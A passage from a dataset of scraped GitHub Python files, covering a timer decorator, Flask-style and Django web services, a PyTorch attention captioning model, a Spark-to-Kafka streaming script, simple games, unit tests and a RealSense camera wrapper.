osi x beda pionowo\r\n plt.legend()\r\n plt.show()\r\n","repo_name":"Grzaneczka/AGH-EconomicComputerScience","sub_path":"storage/predictions.py","file_name":"predictions.py","file_ext":"py","file_size_in_byte":19351,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74731474081","text":"\"\"\"Decorator for the function to be benchmarked\n\nIncludes\n\n+ timer (track time for each iteration)\n\n\"\"\"\n\nimport time\nfrom functools import wraps\n\n\ndef timer(func):\n \"\"\"Track the time needed for each iteration\n\n Store the time needed as additional output with name (i.e. key) \"time\"\n\n Parameters\n ----------\n func : Callable[..., Dict[Union[str, float], float]]\n function to be benchmarked which takes either a string or float as input and returns a float as output\n\n Returns\n -------\n Callable[..., Dict[Union[str, float], float]]\n function to be benchmarked with additional time needed as output\n\n Examples\n --------\n\n \"\"\"\n @wraps(func)\n def function_with_timer(*args, **kwargs):\n start_time = time.perf_counter()\n result = func(*args, **kwargs)\n end_time = time.perf_counter()\n total_time = end_time - start_time\n result['time'] = total_time\n return result\n\n return function_with_timer\n","repo_name":"nicolaipalm/pybe","sub_path":"pybe/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"24839797645","text":"from connections.postgre import Postgre\nfrom entities.market import Market\nfrom parsers.market import MarketParser\nfrom settings import LOGGER\nfrom validations.market import MarketValidations\n\n\nclass MarketService:\n def __init__(self):\n self.validations = MarketValidations()\n self.database = Postgre()\n self.parser = MarketParser()\n\n def get_market_by_registry(self, registry: str):\n self.validations.is_valid_registry(registry=registry)\n LOGGER.debug(f'Getting maker by record {registry} service')\n market = self.database.get_market_by_registry(registry=registry)\n return self.parser.object_to_json(market=market)\n\n def create_market(self, data: dict):\n self.validations.new_market(data=data)\n self.validations.is_valid_registry(registry=data.get('registro'))\n LOGGER.debug('Creating new market service')\n new_market = Market(**data)\n market = self.database.insert_market(market=new_market)\n return self.parser.object_to_json(market=market)\n\n def delete_market(self, registry: str):\n self.validations.is_valid_registry(registry=registry)\n LOGGER.debug('Deleting market service')\n self.database.delete_market_by_registry(registry=registry)\n\n def get_markets(self, params: list):\n LOGGER.debug('Getting markets service')\n query = self.parser.params_to_query(params=params)\n markets = self.database.get_markets(query=query)\n return self.parser.markets_to_json(markets=markets)\n\n def update_market(self, data: dict, registry: str):\n self.validations.update_market(data=data)\n self.validations.is_valid_registry(registry=registry)\n LOGGER.debug('Updating new market service')\n market = self.database.get_market_by_registry(registry=registry)\n market = self.database.update_market(market=market, data=data)\n return self.parser.object_to_json(market=market)\n","repo_name":"allsou/processos-seletivos","sub_path":"Mercado-Bitcoin/sr-python-dev/services/markets.py","file_name":"markets.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34791065285","text":"\"\"\"\nFunction should do three things:\nA. take in user input (telling the user the range in which they can guess) (NOTE: obviously make it so if they guess outside the range, it tells them to try again)\nB. generate random input\nC. tell user whether or not they're input was correct or not\n\"\"\"\ndef number_guesser(): \n input(\"NUMBER GUESSER!!\") \n\n\"\"\"\ndice_roll should do three things:\nA. ask user how many sides they want on each dice\nB. ask user how many dice they want to roll\nC. return result of roll(s)\n\"\"\"\ndef dice_roll():\n input(\"DICE ROLLLLLL\")\n\n\"\"\"\nWhat I did in here is really ugly but it gets the job done, don't take from me!!!\nWhen testing you can use number or n and dice or d\n\"\"\"\ndef main():\n while(True):\n route = input(\"Do you want to Guess the Number or roll some dice? (number/dice)\\n\")\n if(route == \"number\" or route == \"n\"):\n number_guesser()\n break\n elif(route == \"dice\" or route == \"d\"):\n dice_roll()\n break\n else:\n print(\"\\n\\nIncorrect input, try again\\n\")\n\nif (__name__ == '__main__'):\n main()","repo_name":"dakotabourne373/plp","sub_path":"NEW/7.10.21.num.dice.py","file_name":"7.10.21.num.dice.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42719522867","text":"import numpy as np\r\nimport cv2 as cv\r\nfrom keras.utils.image_utils import img_to_array\r\nfrom tensorflow import keras\r\nmodel = keras.models.load_model('model_tomat1.h5')\r\n\r\ncap = cv.VideoCapture(0)\r\nif not cap.isOpened():\r\n print(\"Cannot open camera\")\r\n exit()\r\nwhile True:\r\n # Capture frame-by-frame\r\n ret, frame = cap.read()\r\n # if frame is read correctly ret is True\r\n if not ret:\r\n print(\"Can't receive frame (stream end?). Exiting ...\")\r\n break\r\n # Our operations on the frame come here\r\n frame = cv.GaussianBlur(frame, (7,7), 0)\r\n hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\r\n\r\n mask_red = cv.inRange(hsv,(0,6,26),(10,255,255))\r\n mask_g = cv.inRange(hsv,(0,120,141),(29,255,255))\r\n mask_y = cv.inRange(hsv,(19,67,72),(39,255,255))\r\n\r\n mask = cv.bitwise_or(mask_red, mask_y)\r\n mask = cv.bitwise_or(mask, mask_g)\r\n\r\n # Use morphology to remove noise in the binary image\r\n kernel = cv.getStructuringElement(cv.MORPH_RECT, (7,7))\r\n b_img = cv.morphologyEx(mask,cv.MORPH_OPEN,kernel,iterations=3)\r\n\r\n # Find contours \r\n contours, hierachy = cv.findContours(b_img,cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\r\n for cnt in contours:\r\n if cv.contourArea(cnt)>2700 and cv.contourArea(cnt) < 35000:\r\n # Get the coordinates and dimensions of the bounding box around the digit\r\n x,y,w,h = cv.boundingRect(cnt)\r\n # Crop\r\n roi = frame[y-int(h/5):y+h+int(h/5), x-int(w/5):x+w+int(w/5)]\r\n if roi.shape != (0, 0, 3):\r\n # Resize the ROI to 300x400 pixels\r\n roi = cv.resize(roi,(400,300))\r\n vat = {1: 'Red',2:'Yellow', 3:'Green' }\r\n img = img_to_array(roi)\r\n # Normalize\r\n img=img.reshape(1,300,400,3)\r\n img = img.astype('float32')\r\n img =img/255\r\n # Predict\r\n result = np.argmax(model.predict(img),axis=1)\r\n text = vat[result[0]]\r\n cv.putText(frame, text, (x,y-10), cv.FONT_HERSHEY_COMPLEX, 2, (0,0,255), 2)\r\n cv.rectangle(frame,(x,y),(x+w+10,y+h+20),(0,255,0),2) \r\n \r\n # Display the resulting frame\r\n cv.imshow('frame', frame)\r\n cv.imshow('frame1', b_img)\r\n \r\n # cv.imshow('binary', b_img)\r\n if cv.waitKey(1) == ord('q'):\r\n break\r\n# When everything done, release the capture\r\ncap.release()\r\ncv.destroyAllWindows()\r\n","repo_name":"MinhDat13/Final_project","sub_path":"Application_AI.py","file_name":"Application_AI.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43185968932","text":"import torch, torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\n\r\nclass ScaledDotProductScore(nn.Module):\r\n \"\"\"\r\n Vaswani et al. \"Attention Is All You Need\", 2017.\r\n \"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def forward(self, queries, keys):\r\n \"\"\"\r\n queries: [batch_size x num_queries x dim]\r\n keys: [batch_size x num_objects x dim]\r\n Returns a tensor of scores with shape [batch_size x num_queries x num_objects].\r\n \"\"\"\r\n result = torch.bmm(queries, torch.transpose(keys, 1, 2))/np.sqrt(keys.shape[2])\r\n return result\r\n\r\n\r\nclass Attention(nn.Module):\r\n def __init__(self, scorer):\r\n super().__init__()\r\n self.scorer = scorer\r\n\r\n def forward(self, queries, keys, values):\r\n \"\"\"\r\n queries: [batch_size x num_queries x query_feature_dim]\r\n keys: [batch_size x num_objects x key_feature_dim]\r\n values: [batch_size x num_objects x obj_feature_dim]\r\n Returns matrix of responses for queries with shape [batch_size x num_queries x obj_feature_dim].\r\n Saves detached weights as self.attention_map.\r\n \"\"\"\r\n scores = self.scorer(queries, keys)\r\n\r\n weights = F.softmax(scores, 2)\r\n self.attention_map = weights.detach()\r\n result = torch.bmm(weights, values)\r\n return result\r\n\r\n#@title Default title text\r\nfrom torch.nn.modules.rnn import LSTM\r\nclass CaptionNet(nn.Module):\r\n def __init__(self, n_tokens, cnn_w_h = 9*9, cnn_channels = 512, emb_size = 128, lstm_units = 256, logit_hidden_sizes = [256], loggits_act = nn.ReLU(), device = 'CUDA'):\r\n \"\"\" A recurrent 'head' network for image captioning. Read scheme below. \"\"\"\r\n super(self.__class__, self).__init__()\r\n\r\n self.device = device\r\n self.cnn_w_h = cnn_w_h\r\n self.cnn_channels = cnn_channels\r\n self.emb_size = emb_size\r\n self.lstm_units = lstm_units\r\n self.n_tokens = n_tokens\r\n # a layer that converts conv features to\r\n self.cnn_to_h0 = nn.Linear(cnn_channels, lstm_units)\r\n self.cnn_to_c0 = nn.Linear(cnn_channels, lstm_units)\r\n\r\n # recurrent part, please create the layers as per scheme above.\r\n\r\n # create embedding for input words. Use the parameters (e.g. emb_size).\r\n self.emb = nn.Embedding(n_tokens, emb_size)\r\n\r\n # attention: create attention over image spatial positions\r\n # The query is previous lstm hidden state, the keys are transformed cnn features,\r\n # the values are cnn features\r\n self.attention = Attention(ScaledDotProductScore())\r\n\r\n # attention: create transform from cnn features to the keys\r\n # Hint: one linear layer should work\r\n # Hint: the dimensionality of keys should be lstm_units as lstm\r\n # hidden state is the attention query\r\n self.cnn_to_attn_key = nn.Linear(cnn_channels, lstm_units)\r\n\r\n # lstm: create a recurrent core of your network. Use LSTMCell\r\n self.lstm = nn.LSTMCell(input_size = emb_size + cnn_channels, hidden_size = lstm_units)\r\n\r\n # create logits: MLP that takes attention response, lstm hidden state\r\n # and the previous word embedding as an input and computes one number per token\r\n # Hint: I used an architecture with one hidden layer, but you may try deeper ones\r\n self.logits_mlp = nn.Sequential( )\r\n prev_size = emb_size + lstm_units + cnn_channels\r\n for i, size in enumerate(logit_hidden_sizes):\r\n self.logits_mlp.add_module('logit layer{}'.format(i),\r\n torch.nn.Linear(prev_size, size))\r\n self.logits_mlp.add_module('relu{}'.format(i), loggits_act)\r\n prev_size = size\r\n self.logits_mlp.add_module('final_layer',\r\n torch.nn.Linear(prev_size, n_tokens))\r\n\r\n def forward(self, image_features, captions_ix):\r\n \"\"\"\r\n Apply the network in training mode.\r\n :param image_features: torch tensor containing VGG features for each position.\r\n shape: [batch, cnn_channels, width * height]\r\n :param captions_ix: torch tensor containing captions as matrix. shape: [batch, word_i].\r\n padded with pad_ix\r\n :returns: logits for next token at each tick, shape: [batch, word_i, n_tokens]\r\n \"\"\"\r\n batch = image_features.shape[0]\r\n caption_length = captions_ix.shape[1]\r\n\r\n initial_cell = self.cnn_to_c0(image_features.mean(2))\r\n initial_hid = self.cnn_to_h0(image_features.mean(2))\r\n\r\n image_features = image_features.transpose(1, 2)\r\n\r\n \r\n attention_map_s = torch.zeros((batch, caption_length, self.cnn_w_h)).to(self.device)\r\n reccurent_out_s = torch.zeros((batch, caption_length, self.n_tokens)).to(self.device)\r\n h, c = initial_hid, initial_cell\r\n\r\n for i in range(caption_length):\r\n caption_emb = self.emb(captions_ix[:, i])\r\n keys = self.cnn_to_attn_key(image_features)\r\n h_extra_dim = h[:, None, :]\r\n context = self.attention(h_extra_dim, keys, image_features)\r\n context = context.view(context.shape[0], context.shape[2])\r\n attention_map = self.attention.attention_map\r\n attention_map_s[:, i, :] = attention_map.view(attention_map.shape[0], attention_map.shape[2])\r\n\r\n h,c = self.lstm(torch.cat((caption_emb, context), 1), (h, c))\r\n reccurent_out = torch.cat((h, context, caption_emb), 1)\r\n logits = self.logits_mlp(reccurent_out)\r\n reccurent_out_s[:, i, :] = logits\r\n\r\n \r\n return reccurent_out_s, attention_map_s","repo_name":"Jhomanik/FSE_team_1_project","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"17165910840","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if head == None:\n return \n elif head.next == None:\n return head\n \n cur = head\n sec_pointer = cur.next\n pre = None\n while cur.next != None: \n sec = cur.next \n cur.next = sec.next\n sec.next = cur\n if pre != None:\n pre.next = sec\n pre = cur\n cur = cur.next\n if cur == None:\n break\n \n head = sec_pointer\n return head","repo_name":"PangYunsheng8/LeetCode","sub_path":"Linked List/024_Swap_Nodes_in_Pairs.py","file_name":"024_Swap_Nodes_in_Pairs.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8820032573","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport matplotlib.ticker as ticker\nimg_dir = r'C:\\python_pycharm_label_test\\compared_experiments\\segmentation\\experiment_sample\\parameter_analysis'\nimglist=os.listdir(img_dir)\ndef draw_polyline(nparray,savename,x_label,y_label,title_name):\n x=nparray[:,0]\n y1=nparray[:,1]\n y2=nparray[:,2]\n y3=nparray[:,3]\n y4=nparray[:,4]\n plt.figure(figsize=(3.5, 2),dpi=300)\n plt.grid(linestyle=\"--\") # 设置背景网格线为虚线\n ax = plt.gca()\n ax.spines['top'].set_visible(False) # 去掉上边框\n ax.spines['right'].set_visible(False) # 去掉右边框\n\n # plt.plot(x, A, color=\"black\", label=\"A algorithm\", linewidth=1.5)\n # plt.plot(x, B, \"k--\", label=\"B algorithm\", linewidth=1.5)\n # plt.plot(x, C, color=\"red\", label=\"C algorithm\", linewidth=1.5)\n # plt.plot(x, D, \"r--\", label=\"D algorithm\", linewidth=1.5)\n\n plt.plot(x,y1,label='Precision',linewidth=0.5,marker='.',color='r',markersize=4)\n plt.plot(x,y2,label='Recall',linewidth=0.5,marker='^',color='g',markersize=4)\n plt.plot(x,y3,label='F1',linewidth=0.5,marker='3',color='b',markersize=4)\n plt.plot(x,y4,label='IoU',linewidth=0.5,marker='*',color='brown',markersize=4)\n\n # group_labels = ['dataset1', 'dataset2', 'dataset3', 'dataset4', 'dataset5', ' dataset6', 'dataset7', 'dataset8',\n # 'dataset9', 'dataset10'] # x轴刻度的标识\n # plt.xticks(np.arange(min(x), max(x) + 1, 1.0))\n plt.xticks(fontproperties = 'Times New Roman', fontsize=8, fontweight='bold') # 默认字体大小为10\n plt.yticks(fontproperties = 'Times New Roman',fontsize=8, fontweight='bold')\n plt.title(title_name, fontdict={'family' : 'Times New Roman', 'size': 8,'weight': 'bold'}) # 默认字体大小为12\n plt.xlabel(x_label, fontdict={'family' : 'Times New Roman', 'size': 8, 'weight': 'bold'})\n plt.ylabel(y_label, fontdict={'family' : 'Times New Roman', 'size': 8, 'weight': 'bold'})\n plt.xlim(x[0], x[-1]) # 设置x轴的范围\n ax.xaxis.set_ticks(x[::2])\n # ax.xaxis.set_major_formatter(ticker.FormatStrFormatter('%0.2f'))\n # plt.ylim(0.5,1)\n font = {'family': 'Times New Roman', 'weight': 'bold', 'size': 5}\n\n # plt.legend() #显示各曲线的图例\n plt.legend(loc=0,prop=font)\n # leg = plt.gca().get_legend()\n # ltext = leg.get_texts()\n # plt.setp(ltext, fontsize=2, fontweight='bold',fontproperties = 'Times New Roman') # 设置图例字体的大小和粗细\n # plt.margins(x=0)\n plt.savefig(savename + '.png')\n plt.savefig(savename+'.svg', format='svg') # 建议保存为svg格式,再用inkscape转为矢量图emf后插入word中\n plt.close()\n\n\nfor img_name in imglist:\n prename=img_name.split('.')[0]\n\n # mu\n mu_test_array=np.load(prename+'_mu.npy')\n draw_polyline(mu_test_array,prename+'_mu_polyline',r'$\\mu$','Score','values of metrics as the change of '+r'$\\mu$')\n\n #alpha\n lmda_test_array=np.load(prename+'_lmda.npy')\n draw_polyline(lmda_test_array,prename+'_lmda_polyline',r'$\\lambda$','Score','values of metrics as the change of '+r'$\\lambda$')\n\n #lamda\n alfa_test_array=np.load(prename+'_alfa.npy')\n draw_polyline(alfa_test_array,prename+'_alfa_polyline',r'$\\alpha$','Score','values of metrics as the change of '+r'$\\alpha$')\n #\n # #seg_num\n # n_segments_test_array=np.load(prename+'_n_segments.npy')\n # draw_polyline(n_segments_test_array,prename+'_K_polyline','K','Score','values of metrics as the change of K')\n #\n # #kernel_size\n # kernel_test_array=np.load(prename+'_kenel.npy')\n # draw_polyline(kernel_test_array,prename+'_kernel_polyline','kernel_size','Score','values of metrics as the change of '+'kernel_size')\n #\n # #sigma\n # sigma_test_array=np.load(prename+'_sigma.npy')\n # draw_polyline(sigma_test_array,prename+'_sigma_polyline',r'$\\sigma$','Score','values of metrics as the change of '+r'$\\sigma$')\n\n # #iters\n # iters_test_array=np.load(prename+'_iters.npy')\n # draw_polyline(iters_test_array,prename+'_iters_polyline.png','iters','Score','values of metrics as the change of '+'iters')","repo_name":"lebusini/RoadSegVGI","sub_path":"plot_parameter_analysis.py","file_name":"plot_parameter_analysis.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72576366561","text":"# Purpose: Batch write incremental sales data from S3 to a new Kafka topic\n# Use a delay between each message to simulate real-time streaming data\n# Author: Gary A. Stafford\n# Date: 2021-09-04\n\nimport os\nimport time\n\nimport boto3\nimport pyspark.sql.functions as F\nfrom ec2_metadata import ec2_metadata\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.types import StructField, StructType, IntegerType, StringType, FloatType\n\nsales_data = \"sales_incremental_large.csv\"\ntopic_output = \"pagila.sales.spark.streaming\"\ntime_between_messages = 0.5 # 1800 messages * .5 seconds = ~15 minutes\n\nos.environ['AWS_DEFAULT_REGION'] = ec2_metadata.region\nssm_client = boto3.client(\"ssm\")\n\n\ndef main():\n params = get_parameters()\n\n spark = SparkSession \\\n .builder \\\n .appName(\"kafka-incremental-sales\") \\\n .getOrCreate()\n\n schema = StructType([\n StructField(\"payment_id\", IntegerType(), False),\n StructField(\"customer_id\", IntegerType(), False),\n StructField(\"amount\", FloatType(), False),\n StructField(\"payment_date\", StringType(), False),\n StructField(\"city\", StringType(), True),\n StructField(\"district\", StringType(), True),\n StructField(\"country\", StringType(), False),\n ])\n\n df_sales = read_from_csv(spark, params, schema)\n df_sales.cache()\n\n write_to_kafka(spark, params, df_sales)\n\n\ndef read_from_csv(spark, params, schema):\n df_sales = spark.read \\\n .csv(path=f\"s3a://{params['kafka_demo_bucket']}/spark/{sales_data}\",\n schema=schema, header=True, sep=\"|\")\n\n return df_sales\n\n\ndef write_to_kafka(spark, params, df_sales):\n options_write = {\n \"kafka.bootstrap.servers\":\n params[\"kafka_servers\"],\n \"topic\":\n topic_output,\n \"kafka.ssl.truststore.location\":\n \"/tmp/kafka.client.truststore.jks\",\n \"kafka.security.protocol\":\n \"SASL_SSL\",\n \"kafka.sasl.mechanism\":\n \"AWS_MSK_IAM\",\n \"kafka.sasl.jaas.config\":\n \"software.amazon.msk.auth.iam.IAMLoginModule required;\",\n \"kafka.sasl.client.callback.handler.class\":\n \"software.amazon.msk.auth.iam.IAMClientCallbackHandler\",\n }\n\n sales_count = df_sales.count()\n\n for r in range(0, sales_count):\n row = df_sales.collect()[r]\n df_message = spark.createDataFrame([row], df_sales.schema)\n\n df_message = df_message \\\n .drop(\"payment_date\") \\\n .withColumn(\"payment_date\", F.current_timestamp()) \\\n .selectExpr(\"CAST(payment_id AS STRING) AS key\",\n \"to_json(struct(*)) AS value\") \\\n .write \\\n .format(\"kafka\") \\\n .options(**options_write) \\\n .save()\n\n df_message.show(1)\n\n time.sleep(time_between_messages)\n\n\ndef get_parameters():\n \"\"\"Load parameter values from AWS Systems Manager (SSM) Parameter Store\"\"\"\n\n params = {\n \"kafka_servers\": ssm_client.get_parameter(\n Name=\"/kafka_spark_demo/kafka_servers\")[\"Parameter\"][\"Value\"],\n \"kafka_demo_bucket\": ssm_client.get_parameter(\n Name=\"/kafka_spark_demo/kafka_demo_bucket\")[\"Parameter\"][\"Value\"],\n }\n\n return params\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"garystafford/kafka-connect-msk-demo","sub_path":"pyspark/pyspark_scripts/04_incremental_sales_kafka.py","file_name":"04_incremental_sales_kafka.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"54"} +{"seq_id":"24542692461","text":"from store.utils import get_cart_and_items\nfrom django.shortcuts import render\nfrom .models import *\nfrom django.http import JsonResponse\nimport json\nimport datetime\n\ndef store(request):\n products = Product.objects.all()\n context = get_cart_and_items(request)\n context[\"products\"] = products\n return render(request, \"store.html\", context)\n\ndef cart(request):\n context = get_cart_and_items(request)\n\n return render(request, \"cart.html\", context)\n\ndef checkout(request):\n context = get_cart_and_items(request) \n return render(request, \"checkout.html\", context)\n\ndef update_item(request):\n data = json.loads(request.body)\n product_id = data[\"productId\"]\n action = data[\"action\"]\n\n customer = request.user.customer\n product = Product.objects.get(id=product_id)\n cart, _ = Cart.objects.get_or_create(customer=customer, complete=False)\n\n item_in_cart, _ = ItemInCart.objects.get_or_create(cart=cart, product=product)\n\n if action == \"add\":\n item_in_cart.quantity += 1\n elif action == \"remove\":\n item_in_cart.quantity -= 1\n item_in_cart.save()\n\n if item_in_cart.quantity < 1:\n item_in_cart.delete()\n\n #from docs, :param safe: Controls if only ``dict`` objects may be serialized. Defaults\n #to ``True``.\n return JsonResponse(\"Item was added\", safe=False)\n\ndef process_order(request):\n transaction_id = datetime.datetime.now().timestamp()\n data = json.loads(request.body)\n\n if request.user.is_authenticated:\n customer = request.user.customer\n cart, _ = Cart.objects.get_or_create(customer=customer, complete=\"False\")\n \n cart.save()\n\n \n else:\n name = data[\"userFormData\"][\"name\"]\n email = data[\"userFormData\"][\"name\"]\n\n context = get_cart_and_items(request)\n items = context[\"items\"]\n\n # We're using get_or_create because the customer can sometimes decide to \n # just type stuff in instead of logging in. In that case, what we wanna do is to make\n # sure that we don't overwrite an already existing account.\n # So if a customer already exists, use the customer's data.\n customer, _ = Customer.objects.get_or_create(\n email=email,\n )\n customer.name = name\n customer.save()\n\n # Create a new cart(order) in the database\n cart = Cart.objects.create(\n customer=customer,\n complete=False\n )\n for item in items:\n product = Product.objects.get(id=item[\"product\"][\"id\"])\n\n _ = ItemInCart.objects.create(\n product=product,\n cart=cart,\n quantity=item[\"quantity\"]\n )\n\n total = float(data[\"userFormData\"][\"total\"])\n cart.transaction_id = transaction_id\n \n\n #check if total sent is the same as the cart total\n if total == float(cart.get_cart_total):\n cart.complete = True\n\n if cart.shipping == True:\n ShippingAddress.objects.create(\n customer=customer,\n cart=cart,\n address=data[\"shippingInfo\"][\"address\"],\n city=data[\"shippingInfo\"][\"city\"],\n state=data[\"shippingInfo\"][\"state\"],\n zipcode=data[\"shippingInfo\"][\"zipcode\"]\n )\n cart.save()\n\n return JsonResponse(\"Payment Complete\", safe=False)\n\n","repo_name":"Khongchai/django-ecommerce-codealong","sub_path":"ecommerce/store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29337604010","text":"\"\"\"\nExercise \"Number guessing\"\n\nAs always, read the whole exercise description carefully before you begin to solve the exercise.\n\nCopy this file into your own solution directory. Write your solution into the copy.\n\nCreate a program that will play a number guessing game with the user. The program works like this:\n Explain the rules to the user.\n Randomly generate a 4-digit integer number.\n Ask the user to guess a 4-digit number.\n Every digit that the user guesses correctly in the correct position, counts as a black coin.\n Every digit the user guesses correctly, but in the wrong position, counts as a white coin.\n After the user made a guess, print out how many black and white coins the guess is worth.\n let the user guess until the guess is correct.\n Keep track of the number of guesses the user makes throughout the game and print it out at the end.\n\nWhen your program is complete, push it to your github repository.\nThen send this Teams message to your teacher: done\nThereafter go on with the next file.\n\"\"\"\n\nfrom random import randint\n\n\n\n\n\ndef break_into_digits(guess):\n\n j = []\n while guess > 0:\n j.append(guess % 10)\n guess = (guess - guess % 10) // 10\n\n j.reverse()\n return j\n\n\ndef check(guess, answer):\n # print(\"check\", guess, answer)\n whitecoins = 0\n blackcoins = 0\n for number in guess:\n if number in answer:\n whitecoins += 1\n\n\n for index in range(4):\n # print(guess[index], answer[index])\n if guess[index] == answer[index]:\n blackcoins += 1\n whitecoins = whitecoins - blackcoins\n print(f\"You have earned {blackcoins} black coins and {whitecoins} whitecoins this turn!\")\n\n return blackcoins, whitecoins\n\n\n# def turn(guess):\n#\n# blackcoins, whitecoins = check(break_into_digits(guess))\n# print(type(blackcoins, whitecoins))\n# return blackcoins, whitecoins\n # if blackcoins == 4:\n # gameover = False\n # print(blackcoins, whitecoins)\n\n\nround = 0\nnumber = randint(1000, 10000)\nfullanswer = number\nanswer = []\ngameover = True\nturn = 0\n# number = 1234\n\n\n# gamestart\nwhile number > 0:\n answer.append(number % 10)\n number = (number - number % 10) // 10\nanswer.reverse()\n\nprint(f\"Guess a 4 digit number, every digit you have correct and is in the correct position gives you a black coin, \\n every digit you have correct but in the wrong position gives you a white coin\")\n# print(f\"The answer is {fullanswer}!\")\n\nwhile gameover:\n turn += 1\n guess = int(input(\"Please enter a 4 digit number \"))\n print(f\"You have guessed {guess}\")\n\n blackcoins, whitecoins = check(break_into_digits(guess), answer)\n # turn(guess)\n # blackcoins, whitecoins = turn(guess)\n # print(blackcoins,whitecoins,turn)\n # print(break_into_digits(guess))\n # print(check(guessdigit))\n\n if blackcoins == 4:\n break\nprint(f\"You have guessed the correct number of {fullanswer} with a total of {turn} turn(s)!\")","repo_name":"GARZTHONGK/Solutions","sub_path":"s1/S0120_number_guessing.py","file_name":"S0120_number_guessing.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"69911699361","text":"# __author__ = 'ming'\n# coding=utf-8\n\n\nimport unittest\nfrom testHttp import TestApp as App\nfrom testHttp import TestConn as conn\nimport datetime\nimport json\n\n\nclass TestHandle(unittest.TestCase):\n \"\"\"\n Handle单元测试\n \"\"\"\n # 初始化工作\n def setUp(self):\n db = conn.getWebDB()\n t = db.transaction()\n try:\n # 大版块数据准备\n db.insert(\"t_forum_boards_bigs\", bb_tid=99999,\n bb_name=\"运动百科\", bb_imgUrl=\"\", bb_description=\"运动健康生活\",\n bb_admin=\"1000\", bb_createDate=datetime.datetime.now(), bb_vieworder=2)\n db.insert(\"t_forum_boards_bigs\", bb_tid=999999,\n bb_name=\"程序人生\", bb_imgUrl=\"\", bb_description=\"程序人生\",\n bb_admin=\"1000\", bb_createDate=datetime.datetime.now(), bb_vieworder=3)\n db.insert(\"t_forum_boards_bigs\", bb_tid=9999999,\n bb_name=\"食物人生\", bb_imgUrl=\"\", bb_description=\"食物人生\",\n bb_admin=\"1000\", bb_createDate=datetime.datetime.now(), bb_vieworder=4)\n\n\n # 小版块数据准备\n\n db.insert(\"t_forum_boards_small\", bs_tid=999999,\n bs_name=\"python\", bs_bigID=999999, bs_imgUrl=\"\", bs_description=\"python人生\",\n bs_whoCreate=\"1000\", bs_createDate=datetime.datetime.now(),\n bs_postCount=0, bs_replyCount=0, bs_typeId=1)\n\n db.insert(\"t_forum_boards_small\", bs_tid=99999,\n bs_name=\"篮球\", bs_bigID=99999, bs_imgUrl=\"\", bs_description=\"篮球人生\",\n bs_whoCreate=\"1000\", bs_createDate=datetime.datetime.now(),\n bs_postCount=0, bs_replyCount=0, bs_typeId=1)\n except Exception as e:\n print(e)\n t.rollback()\n else:\n t.commit()\n\n self.app = App\n\n # 退出清理工作\n def tearDown(self):\n db = conn.getWebDB()\n db.delete(\"t_forum_boards_small\", where=\"bs_tid in('99999','999999','9999999')\")\n db.delete(\"t_forum_boards_bigs\", where=\"bb_tid in('99999','999999')\")\n\n def testBoardsAll(self):\n r = self.app.request(\"/Forum/BoardsAll\")\n self.assertEqual(r.status, '200 OK', \"request error\")\n decodejson = json.loads(r.data)\n self.assertTrue(decodejson[\"msg\"][0][\"big\"][\"bb_vieworder\"] <= 2, \"request error\")\n\n\n\n","repo_name":"BPing/pyWebpj","sub_path":"python/controllers/Forum/tests/test_handle.py","file_name":"test_handle.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"6332326015","text":"import pyrealsense2 as rs\r\nimport numpy as np\r\n\r\n\r\nclass DepthCamera:\r\n def __init__(self, serial, width, height, fps):\r\n # Configure depth and color streams\r\n self.pipeline = rs.pipeline()\r\n self.colorizer = rs.colorizer()\r\n self.align = rs.align(rs.stream.color)\r\n\r\n # Build config object and request pose data\r\n config = rs.config()\r\n config.enable_device(serial)\r\n config.enable_stream(rs.stream.depth, width, height, rs.format.z16, fps)\r\n config.enable_stream(rs.stream.color, width, height, rs.format.bgr8, fps)\r\n\r\n # Start streaming\r\n self.pipeline.start(config)\r\n\r\n def get_frame(self):\r\n \"\"\" Returns RET, RGB, DEPTH, HEATMAP\"\"\"\r\n frames = self.pipeline.wait_for_frames()\r\n\r\n # Align the depth frame to color frame\r\n aligned_frames = self.align.process(frames)\r\n\r\n depth_frame = aligned_frames.get_depth_frame()\r\n color_frame = aligned_frames.get_color_frame()\r\n\r\n depth_image = np.asanyarray(depth_frame.get_data())\r\n rgb_image = np.asanyarray(color_frame.get_data())\r\n heatmap_image = np.asanyarray(self.colorizer.colorize(depth_frame).get_data())\r\n\r\n if 